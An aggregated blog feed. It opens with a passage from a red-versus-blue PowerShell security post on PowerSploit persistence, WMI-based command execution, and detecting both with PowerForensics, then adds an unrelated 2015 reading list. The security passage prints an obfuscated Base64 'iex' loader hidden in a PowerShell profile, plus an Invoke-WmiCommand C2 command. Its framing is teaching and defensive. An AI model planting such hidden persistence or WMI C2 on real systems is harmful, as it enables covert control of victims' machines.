    User-level and elevated persistent scheduled tasks are created, called TN Updater, and a profile.ps1 file is written to C:\Users\\Documents\WindowsPowerShell. If you inspect the profile script, you'll initially say to yourself "Whatever, the file is empty." Au contraire, ami. Scroll right. Ah there it is: sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('U8hMrVDQyCwvUsgoKSmw0tdPyizRy6nUTzXwLbcsV9BUAAA='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
    Should your victim, or you on behalf of your victim, run .\rr.ps1, a few pleasantries ensue. Every time the victim system goes idle or the user invokes a PowerShell prompt, oh yeah baby, Rick Astley, Never Gonna Give You Up. Er, more specifically, Rick ASCII. Thank you, Lee Holmes, really.

    All good chuckles aside, a persistent rickroll is really just an example of any number of truly evil options. Shells, beacons, downloaders all come to mind, creativity is really your only challenge, Add-Persistence is your vehicle for scripting forget-me-not. All good for the red teamers, what's there for the blue team?    
    PowerForensics Get-ForensicTimeline is likely a good start,  I'm a huge fan of a complete timeline. When you run Get-Help Get-ForensicTimeline you'll quickly learn that it incorporates the following cmdlets:
    • Get-ForensicScheduledJob
    • Get-ForensicShellLink
    • Get-ForensicUsnJrnl
    • Get-ForensicEventLog
    • Get-ForensicRegistryKey
    Get-ForensicTimeline left unchecked will, of course, dump a timeline for the entire discernible date range of all artifacts. This can lead to an unwieldy, huge text dump, I suggest filtering up front. Assume as a blue team member I knew my "attack" had occurred sometime during the New Year holiday. As such, I ran Get-ForensicTimeline | Sort-Object -Property Date | Where-Object { $_.Date -ge "12/30/2015" -and $_.Date -le "01/04/2016" } > c:\tmp\timeline2.txt.
    This resulted in a much more manageable file for indicator searches. In this case, we'd like to attribute detail to the creation and execution of rr.ps1. There are a couple of ways to dig in here. SLS, alias for Select-String is your PowerShell friend: sls rr.ps1 .\timeline2.txt -AllMatches.

    Always remember your trusty text editor as well. Even though I pre-filtered by date range, 010 Editor was able to easily process the full timeline as it handles large files quite well.

    You can see we've easily discovered who, what, and where. The why is easy, because rickrolls rule! :-)

    Timeline analysis is always vital and important but there are more opportunities here, let's put these kits through their paces for a second scenario.
    PowerSpoit includes Invoke-WmiCommand. Per its description, Invoke-WmiCommand "executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. It does this by using the StdRegProv WMI registry provider methods to store a payload into a registry value. The command is then executed on the victim system and the output is stored in another registry value that is then retrieved remotely."
    Easy enough, I used one of the example against one of my servers as follows:
    Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\pwnkey' -RegistryPayloadValueName 'pwnage' -RegistryResultValueName 'pwnresults' -ComputerName '' -Credential 'DOMAIN\username' -Verbose
    I changed my domain and username to DOMAIN\username for the example, obviously you'll use your known good credentials. Results follow.

    The payload here is simple math, 1+3+2+1+1, as executed on my victim server ( and returned the result (8) to my attacker host. You can imagine how useful quick, easy remote WMI calls might be for a red team. Obviously a more constructive (destructive?) payload would be in order. But how to spot this from the blue team's perspective?
    PowerForensics includes Get-ForensicEventLog.  
    Registry tweaks create Windows Security event log entries, including  4656 for registry key open, 4657 for creation, modification and deletion of registry values, and 4658 for registry key closed.
    Imagine a security event log export file from a victim system, ready for analysis on your forensic workstation. As such, you could run the likes of Get-ForensicEventLog -path C:\tmp\security.evtx | Where-Object { $_.EventData -like "EventId: 4656" }.

    See? That's not so bad, right? Red team events do not need to leave the blue team scrambling to catch up. Similar tactics but different outcomes. 
    I've done neither of these PowerShell infosec offerings any real justice, but hopefully opened your eyes to the options and opportunities the represent. Use them both and you'll be better for it.
    Conduct your red vs. blue exercises in concert, cooperatively, and you'll achieve improved outcomes. Emulate that adversary, then hunt him down.
    Follow these guys on Twitter if you want to stay up on the PowerShell arms race. :-)

    Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

    Cheers…until next month.

    by Russ McRee ( at January 05, 2016 04:57 PM

    January 04, 2016

    The Tech Teapot

    My 2015 Reading Log

    I’ve not managed to read as many books this year. Mostly due to the competition from playing Dragon Age: Inquisition for the first four months of the year. On the plus side, it has been a good year for books. I’ve had a run of superb books. I’ve tried to broaden the range of books I read. I’ve always been a sci-fi fan but not a great fan of ork and goblin style fantasy but I’ve made a conscious effort to try more contemporary fantasy and have been very pleased with the quality of work I’ve found.

    I’ve read a total of 12 books in 2015, 10 fiction (mostly science fiction and fantasy) and just 2 non-fiction. Note to self, must read more non fiction in 2016. Neither of the two non-fiction books were particularly inspiring, but at least The Silent Day: A Landmark Oral History of D-Day on the Home Front gave me some insight into life in England during the preparations for D-Day.

    My highlight of the year has been Ready Player One by Ernest Cline. The book is currently being made into a film directed by Stephen Spielberg. Can’t wait :)


    Gary Johnson: Brightly Shone The Dawn: Some Experiences Of The Invasion Of Normandy (Non-Fiction)





    Robert Llewellyn: News from the Clouds (Fiction)

    Claire North: The First Fifteen Lives of Harry August (Fiction)

    Stephen Baxter: Proxima (Fiction)


    Max Arthur: The Silent Day: A Landmark Oral History of D-Day on the Home Front (Non-Fiction)

    Ernest Cline: Ready Player One (Fiction)


    James Blish: A Case of Conscience (Fiction)

    Silvia Moreno-Garcia: Signal to Noise (Fiction)


    David Nobbs: The Fall and Rise of Reginald Perrin (Fiction)

    M.R. Carey: The Girl with All the Gifts (Fiction)

    Randy Henderson: Finn Fancy Necromancy (Fiction)


    Andy Weir: The Martian (Fiction)



    by Jack Hughes at January 04, 2016 04:52 PM